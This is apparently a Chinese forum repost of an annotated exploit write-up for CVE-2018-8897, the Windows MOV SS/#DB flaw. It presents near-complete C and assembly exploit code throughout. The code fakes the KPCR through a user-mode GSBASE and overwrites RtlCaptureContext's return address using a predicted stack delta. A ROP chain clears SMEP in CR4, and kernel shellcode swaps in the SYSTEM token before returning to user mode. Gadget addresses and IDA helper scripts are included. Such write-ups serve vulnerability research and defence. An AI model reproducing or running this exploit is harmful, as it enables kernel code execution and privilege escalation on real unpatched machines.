-
-
使用CVE-2018-8897在0环处执行任意代码注释版
-
发表于: 2019-11-9 14:24 4532
-
转发自 原文
就在几天前,尼克·彼得森和Nemanja Mulasmajic发现了一个新漏洞,该漏洞允许特权用户使用用户模式的GSBASE来运行#DB内核处理程序。在他们发布在Triplefault.io的白皮书 结尾处,他们提到他们能够加载和执行未签名的内核代码,这使我对这一挑战产生了兴趣。这正是我在这篇文章中要尝试做的。
在开始之前,我想指出,此漏洞利用可能不适用于某些虚拟机管理程序(例如VMWare),它们会在INT3之后丢弃待处理的#DB。我通过“模拟”这种情况进行调试。
最终的源代码可以在底部找到。
0x0:设置基础
与其它漏洞不同,此漏洞利用的原理非常简单。更改堆栈段时(无论是通过MOV还是POP),直到下一条指令完成后才中断。这不是微代码错误,而是Intel添加的一项功能,以便可以同时设置堆栈段和堆栈指针。
但是,许多OS供应商都忽略了此细节,这使我们引发#DB异常,并且进入内核回调后 他的当前特权级仍然是0 不是3。
我们可以通过以下方式设置调试寄存器来创建deferred-to-CPL0异常:在执行堆栈段更改指令期间,将引发#DB异常 并立即调用int 3 。int 3将跳转到KiBreakpointTrap,并且在执行KiBreakpointTrap的第一条指令之前,#DB才真正触发。
正如原始白皮书中的everdox和0xNemi所提到的,这使我们可以使用用户模式的GSBASE来运行内核模式异常处理程序。调试寄存器和XMM寄存器也将保留。
所有这些都可以通过几行完成,如下所示:
#include <Windows.h> #include <iostream> void main() { static DWORD g_SavedSS = 0; _asm { mov ax, ss mov word ptr [ g_SavedSS ], ax } CONTEXT Ctx = { 0 }; Ctx.Dr0 = ( DWORD ) &g_SavedSS; Ctx.Dr7 = ( 0b1 << 0 ) | ( 0b11 << 16 ) | ( 0b11 << 18 ); Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; SetThreadContext( HANDLE( -2 ), &Ctx ); PVOID FakeGsBase = ...; _asm { mov eax, FakeGsBase ; Set eax to fake gs base push 0x23 push X64_End push 0x33 push X64_Start retf X64_Start: __emit 0xf3 ; wrgsbase eax __emit 0x0f __emit 0xae __emit 0xd8 retf X64_End: ; Vulnerability mov ss, word ptr [ g_SavedSS ] ; Defer debug exception int 3 ; Execute with interrupts disabled nop } }
为了同时显示ASM和C,此示例为32位,最终的工作代码将为64位。
现在,让我们开始调试,我们在 KiDebugTrapOrFault 函数内部使用我们r3层定制的GSBASE 但是,这只不过是灾难性的,几乎没有函数起作用,我们最终将进入KiDebugTrapOrFault-> KiGeneralProtectionFault-> KiPageFault-> KiPageFault-> ...无限循环。如果我们拥有一个完全有效的GSBASE,那么到目前为止所取得的结果将是KMODE_EXCEPTION_NOT_HANDLED BSOD , 因此,让我们集中精力使GSBASE功能像真正的GSBASE一样,正常情况下 会进入KeBugCheckEx。
我们可以利用小的IDA单步调试脚本更快地步入相关部分:
#include <idc.idc> static main() { Message( "--- Step Till Next GS ---\n" ); while( 1 ) { auto Disasm = GetDisasmEx( GetEventEa(), 1 ); if ( strstr( Disasm, "gs:" ) >= Disasm ) break; StepInto(); GetDebuggerEvent( WFNE_SUSP, -1 ); } }
0x1:修复KPCR数据
以下是我们必须修改GSBASE内容才能成功通过的几种情况:
– KiDebugTrapOrFault
KiDebugTrapOrFault:
...
memory:FFFFF8018C20701E ldmxcsr dword ptr gs:180h
– KiExceptionDispatch
KiExceptionDispatch:
...
MEMORY:FFFFF8018C20DB5F mov rax, gs:188h
MEMORY:FFFFF8018C20DB68 bt dword ptr [rax+74h], 8
– KiDispatchException
KiDispatchException:
...
MEMORY:FFFFF8018C12A4D8 mov rax, gs:qword_188
MEMORY:FFFFF8018C12A4E1 mov rax, [rax+0B8h]
KeCopyLastBranchInformation:
...
MEMORY:FFFFF8018C12A0AC mov rax, gs:qword_20
MEMORY:FFFFF8018C12A0B5 mov ecx, [rax+148h]
GSBASE的0x20是Pcr.CurrentPrcb,即Pcr + 0x180。 我们将Pcr.CurrentPrcb设置为Pcr + 0x180,同时将Pcr.Self设置为&Pcr。
– RtlDispatchException
这一点将更加详细。 RtlDispatchException调用RtlpGetStackLimits,如果失败则调用KeQueryCurrentStackInformation和__fastfails。 这里的问题是KeQueryCurrentStackInformation根据Pcr.Prcb.RspBase,Pcr.Prcb.CurrentThread-> InitialStack,Pcr.Prcb.IsrStack检查RSP的当前值,如果找不到匹配项,则会报告失败。 我们显然不能从用户模式知道内核堆栈的值,那么该怎么办?
函数中间有一个奇怪的检查:
char __fastcall KeQueryCurrentStackInformation(_DWORD *a1, unsigned __int64 *a2, unsigned __int64 *a3) { ... if ( *(_QWORD *)(*MK_FP(__GS__, 392i64) + 40i64) == *MK_FP(__GS__, 424i64) ) { ... } else { *v5 = 5; result = 1; *v3 = 0xFFFFFFFFFFFFFFFFi64; *v4 = 0xFFFF800000000000i64; } return result; }
多亏了此检查,只要我们确保KThread.InitialStack(KThread + 0x28)不等于Pcr.Prcb.RspBase(gs:1A8h),KeQueryCurrentStackInformation将返回0xFFFF800000000000-0xFFFFFFFFFFFFFFFFFF作为成功的堆栈范围。 我们继续将Pcr.Prcb.RspBase设置为1,并将Pcr.Prcb.CurrentThread-> InitialStack设置为0。问题已解决。
这些更改后的RtlDispatchException将失败,并且不会进行错误检查并返回KiDispatchException。
– KeBugCheckEx
我们终于来了。 这是我们需要解决的最后一件事:
MEMORY:FFFFF8018C1FB94A mov rcx, gs:qword_20
MEMORY:FFFFF8018C1FB953 mov rcx, [rcx+62C0h]
MEMORY:FFFFF8018C1FB95A call RtlCaptureContext
0x2:然后Write|What|Where
然后我们运行,胜利的甜蜜甜蜜蓝屏!
现在一切正常,我们如何利用它?
KeBugCheckEx之后的代码过于复杂,无法一步一步地执行,因此很可能无法恢复原先的代码,因此,我们这次尝试不进行错误检查。
我编写了另一个IDA脚本来记录关注点(例如gs:访问和跳转以及对寄存器和[registers + x]的调用),并逐步执行,直到命中KeBugCheckEx:
#include <idc.idc> static main() { Message( "--- Logging Points of Interest ---\n" ); while( 1 ) { auto IP = GetEventEa(); auto Disasm = GetDisasmEx( IP, 1 ); if ( ( strstr( Disasm, "gs:" ) >= Disasm ) || ( strstr( Disasm, "jmp r" ) >= Disasm ) || ( strstr( Disasm, "call r" ) >= Disasm ) || ( strstr( Disasm, "jmp" ) >= Disasm && strstr( Disasm, "[r" ) >= Disasm ) || ( strstr( Disasm, "call" ) >= Disasm && strstr( Disasm, "[r" ) >= Disasm ) ) { Message( "-- %s (+%x): %s\n", GetFunctionName( IP ), IP - GetFunctionAttr( IP, FUNCATTR_START ), Disasm ); } StepInto(); GetDebuggerEvent( WFNE_SUSP, -1 ); if( IP == ... ) break; } }
- KiDebugTrapOrFault (+3d): test word ptr gs:278h, 40h
- sub_FFFFF8018C207019 (+5): ldmxcsr dword ptr gs:180h
-- KiExceptionDispatch (+5f): mov rax, gs:188h
--- KiDispatchException (+48): mov rax, gs:188h
--- KiDispatchException (+5c): inc gs:5D30h
---- KeCopyLastBranchInformation (+38): mov rax, gs:20hh
---- KeQueryCurrentStackInformation (+3b): mov rax, gs:188h
---- KeQueryCurrentStackInformation (+44): mov rcx, gs:1A8h
--- KeBugCheckEx (+1a): mov rcx, gs:20h
这意味着我们必须找到一种写入内核模式内存并滥用它的方法。 RtlCaptureContext将在这里提供巨大的帮助。 如前所述,它是从Pcr.CurrentPrcb-> Context中获取上下文指针的,这是一个奇怪的PCONTEXT上下文,而不是CONTEXT上下文,这意味着我们可以为其提供任何内核地址并将其写在上面。
我本来是打算用g_CiOptions编写它,然后在另一个线程中连续写入NtLoadDriver,但是这个想法并没有我想象的那么好 仅仅是因为当前线程陷入了无限循环,而另一个尝试NtLoadDriver的线程由于使用了IPI而不会成功:
NtLoadDriver->…->MiSetProtectionOnSection->KeFlushMultipleRangeTb->IPI->Deadlock
在使用g_CiOptions玩了1-2天后,我想到了一个更好的主意:覆盖RtlCaptureContext的返回地址。
我们如何在不访问RSP的情况下覆盖返回地址? 如果我们使用一点创造力,我们实际上可以使用RSP。 我们可以通过使Prcb.Context指向用户模式内存并从辅助线程轮询Context.RSP值来获取当前的RSP。 可悲的是,这本身没有用,因为我们已经传递了RtlCaptureContext(我们在漏洞利用文件中写了什么)。
但是,如果我们可以在RtlCaptureContext完成工作之后返回到KiDebugTrapOrFault并以某种方式预测RSP的下一个值,则这将非常可恶; 这正是我们要做的。
要返回到KiDebugTrapOrFault,我们将再次使用可爱的调试寄存器。 在RtlCaptureContext返回之后,立即调用KiSaveProcessorControlState。
.text:000000014017595F mov rcx, gs:20h
.text:0000000140175968 add rcx, 100h
.text:000000014017596F call KiSaveProcessorControlState
.text:0000000140175C80 KiSaveProcessorControlState proc near ; CODE XREF: KeBugCheckEx+3Fp
.text:0000000140175C80 ; KeSaveStateForHibernate+ECp ...
.text:0000000140175C80 mov rax, cr0
.text:0000000140175C83 mov [rcx], rax
.text:0000000140175C86 mov rax, cr2
.text:0000000140175C89 mov [rcx+8], rax
.text:0000000140175C8D mov rax, cr3
.text:0000000140175C90 mov [rcx+10h], rax
.text:0000000140175C94 mov rax, cr4
.text:0000000140175C97 mov [rcx+18h], rax
.text:0000000140175C9B mov rax, cr8
.text:0000000140175C9F mov [rcx+0A0h], rax
我们将在gs:20h + 0x100 + 0xA0上设置DR1,并在保存CR4值后立即使KeBugCheckEx返回到KiDebugTrapOrFault。
要覆盖返回指针,我们首先让KiDebugTrapOrFault->…-> RtlCaptureContext执行一次,然后给用户模式线程一个初始RSP值,然后让它再次执行一次以获取新的RSP,这将让我们计算 -执行RSP差异。 由于控制流也恒定,因此该RSP增量将恒定。
现在我们有了RSP增量,我们将预测RSP的下一个值,从中减去8来计算RtlCaptureContext的返回指针,并在其上写Prcb.Context-> Xmm13 – Prcb.Context-> Xmm15。
线程逻辑将如下所示:
HANDLE ThreadHandle = CreateThread( 0, 0, [ ] ( LPVOID ) -> DWORD { volatile PCONTEXT Ctx = *( volatile PCONTEXT* ) ( Prcb + Offset_Prcb__Context ); while ( !Ctx->Rsp ); // dr0断点触发 等待RtlCaptureContext被调用一次,以便我们获取此时的RSP 因为参数是我们r3提供的那块pcr内存 而且分析汇编 只有KeBugCheckEx调用RtlCaptureContext的地方才会写入这个context uint64_t StackInitial = Ctx->Rsp; while ( Ctx->Rsp == StackInitial ); // dr0断点触发 执行到RtlCaptureContext到KiSaveProcessorState内部会触发dr1硬断 此时再次进入KiDebugTrapxxxx函数到RtlCaptureContext内部 此时rsp的值相较于上刺同样位置rsp值的差值是固定的 堆栈回朔也需要这个值 StackDelta = Ctx->Rsp - StackInitial; PredictedNextRsp = Ctx->Rsp + StackDelta; //根据差值预测下一次dr1硬断(上面dr1第一次触发后 也会再次进入KiSaveProcessorState 同样再次引发dr1)后 再回到上面那个位置的rsp值 uint64_t NextRetPtrStorage = PredictedNextRsp - 0x8; // 定位堆栈返回地址 NextRetPtrStorage &= ~0xF; *( uint64_t* ) ( Prcb + Offset_Prcb__Context ) = NextRetPtrStorage - Offset_Context__XMM13; // RtlCaptureContext内部会把当前cpu寄存器值都塞入参数rcx代表的context结构里去 这个参数来自(Prcb + Offset_Prcb__Context) //也就是NextRetPtrStorage - Offset_Context__XMM13 相当于进入RtlCaptureContext后 sub rsp,Offset_Context__XMM13开辟了 //一段局部变量区 此时复制xmm13到15的时候 其实是覆盖掉了返回地址以上的堆栈 恰好把xmmm13到15寄存器里面的数据写入堆栈 很骚气 return 0; }, 0, 0, 0 );
现在,我们只需要建立一个ROP链并将其写入XMM13-XMM15。 我们无法预测XMM15的哪一半会由于我们为了遵守movaps对齐要求而应用的蒙版而被击中,因此前两个指针应仅指向[RETN]指令。
我们需要加载一个选择设置CR4的值的寄存器,以便XMM14指向[POP RCX; RETN]小工具,然后输入有效的CR4值(已禁用SMEP)。 至于XMM13,我们将仅使用[MOV CR4,RCX; RETN;]小工具,后跟指向我们的shellcode的指针。
最终的链看起来像:
-- &retn; (fffff80372e9502d)
-- &retn; (fffff80372e9502d)
-- &pop rcx; retn; (fffff80372ed9122)
-- cr4_nosmep (00000000000506f8)
-- &mov cr4, rcx; retn; (fffff803730045c7)
-- &KernelShellcode (00007ff613fb1010)
NON_PAGED_DATA fnFreeCall k_ExAllocatePool = 0; using fnIRetToVulnStub = void( * )( uint64_t Cr4, uint64_t IsrStack, PVOID ContextBackup ); NON_PAGED_DATA BYTE IRetToVulnStub[] = { 0x0F, 0x22, 0xE1, // mov cr4, rcx ; cr4 = original cr4 0x48, 0x89, 0xD4, // mov rsp, rdx ; stack = isr stack 0x4C, 0x89, 0xC1, // mov rcx, r8 ; rcx = ContextBackup 0xFB, // sti ; enable interrupts 0x48, 0x31, 0xC0, // xor rax, rax ; lower irql to passive_level 0x44, 0x0F, 0x22, 0xC0, // mov cr8, rax 0x48, 0xCF // iretq ; interrupt return }; NON_PAGED_DATA uint64_t PredictedNextRsp = 0; NON_PAGED_DATA ptrdiff_t StackDelta = 0; NON_PAGED_CODE void KernelShellcode() { __writedr( 7, 0 );//清除异常 uint64_t Cr4Old = __readgsqword( Offset_Pcr__Prcb + Offset_Prcb__Cr4 ); __writecr4( Cr4Old & ~( 1 << 20 ) );//第20位是smep 关闭它 佛则 /* 切换gs 因为漏洞利用就是让cpl(比如cs寄存器前两位) 进入中断后 会判断cpl 完后判断是否切换gs 之前漏洞的特点就是r3层引发中断异常后 进入内核本来cpl是3 但是却自动变成了0 所以不需要切换 但是要执行内核函数 必须修改提供的r3层的gs结构里面的各种属性 只能简单改改 让他执行到我们的用户层shellcode后 赶紧切换gs 此时就可以各种yy了 但是可能要关闭中断 部分函数可能irql太低 导致线程切换 swapcontext内部也会恢复smep 所以可能要考虑 瞄眼社区miao1yan.top另外一篇文章 搜smep就知道了 */ __swapgs(); // Uncomment if it bugchecks to debug: // __writedr( 2, StackDelta ); // __writedr( 3, PredictedNextRsp ); // __debugbreak(); // ^ This will let you see StackDelta and RSP clearly in a crash dump so you can check where the process went bad //上面下两个访问全局变量的硬件断点 和一个int 3断点 单步调试 逐步查看到底哪里奔溃了 uint64_t IsrStackIterator = PredictedNextRsp - StackDelta - 0x38;//Kebugcheckex函数内部RtlCaptureContext给context赋值rsp的时候的rsp数值 减去增量 就是 // Unroll nested KiBreakpointTrap -> KiDebugTrapOrFault -> KiTrapDebugOrFault while ( ( ( ISR_STACK* ) IsrStackIterator )->CS == 0x10 && //win10 上调试发现是0x10 ( ( ISR_STACK* ) IsrStackIterator )->RIP > 0x7FFFFFFEFFFF ) { __rollback_isr( IsrStackIterator );//回朔堆栈 // We are @ KiBreakpointTrap -> KiDebugTrapOrFault, which won't follow the RSP Delta if ( ( ( ISR_STACK* ) ( IsrStackIterator + 0x30 ) )->CS == 0x33 )//回朔到int 3断点触发后 进入中断回调的时候 保存eflags cs ip 到堆栈 此时直接提取相关信息 { /* fffff00e`d7a1bc38 fffff8007e4175c0 nt!KiBreakpointTrap 最开始的int 3断点 fffff00e`d7a1bc40 0000000000000010 fffff00e`d7a1bc48 0000000000000002 fffff00e`d7a1bc50 fffff00ed7a1bc68 fffff00e`d7a1bc58 0000000000000000 fffff00e`d7a1bc60 0000000000000014 fffff00e`d7a1bc68 00007ff7e2261e95 -- ip fffff00e`d7a1bc70 0000000000000033 cs fffff00e`d7a1bc78 0000000000000202 eflags fffff00e`d7a1bc80 000000ad39b6f938 sp */ IsrStackIterator = IsrStackIterator + 0x30; break; } IsrStackIterator -= StackDelta; } PVOID KStub = ( PVOID ) k_ExAllocatePool( 0ull, ( uint64_t )sizeof( IRetToVulnStub ) ); Np_memcpy( KStub, IRetToVulnStub, sizeof( IRetToVulnStub ) ); // ------ KERNEL CODE ------ 欢迎加入miao1yan.top群号835875625和755836982 uint64_t SystemProcess = *k_PsInitialSystemProcess;//偷来系统进程的eprocess和令牌 提升自己的进程权限 uint64_t CurrentProcess = k_PsGetCurrentProcess(); uint64_t CurrentToken = k_PsReferencePrimaryToken( CurrentProcess ); uint64_t SystemToken = k_PsReferencePrimaryToken( SystemProcess ); for ( int i = 0; i < 0x500; i += 0x8 ) { uint64_t Member = *( uint64_t * ) ( CurrentProcess + i ); if ( ( Member & ~0xF ) == CurrentToken ) { *( uint64_t * ) ( CurrentProcess + i ) = SystemToken; break; } } k_PsDereferencePrimaryToken( CurrentToken ); k_PsDereferencePrimaryToken( SystemToken ); // ------ KERNEL CODE ------ __swapgs(); ( ( ISR_STACK* ) IsrStackIterator )->RIP += 1;//绕过int 3断电的位置 继续执行 ( fnIRetToVulnStub( KStub ) )( Cr4Old, IsrStackIterator, ContextBackup );//返回r3 继续执行 }
我们无法还原任何寄存器,因此我们将使负责执行漏洞的线程将上下文存储在全局数组中,然后从全局数组中还原。 既然我们执行了代码并返回到用户模式,我们的利用就完成了!
让我们做一个简单的演示来窃取系统令牌:
uint64_t SystemProcess = *k_PsInitialSystemProcess;//偷来系统进程的eprocess和令牌 提升自己的进程权限 uint64_t CurrentProcess = k_PsGetCurrentProcess(); uint64_t CurrentToken = k_PsReferencePrimaryToken( CurrentProcess ); uint64_t SystemToken = k_PsReferencePrimaryToken( SystemProcess ); for ( int i = 0; i < 0x500; i += 0x8 ) { uint64_t Member = *( uint64_t * ) ( CurrentProcess + i ); if ( ( Member & ~0xF ) == CurrentToken ) { *( uint64_t * ) ( CurrentProcess + i ) = SystemToken; break; } } k_PsDereferencePrimaryToken( CurrentToken ); k_PsDereferencePrimaryToken( SystemToken );
源码详细注释版下载地址:去这里回复可见下载链接
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)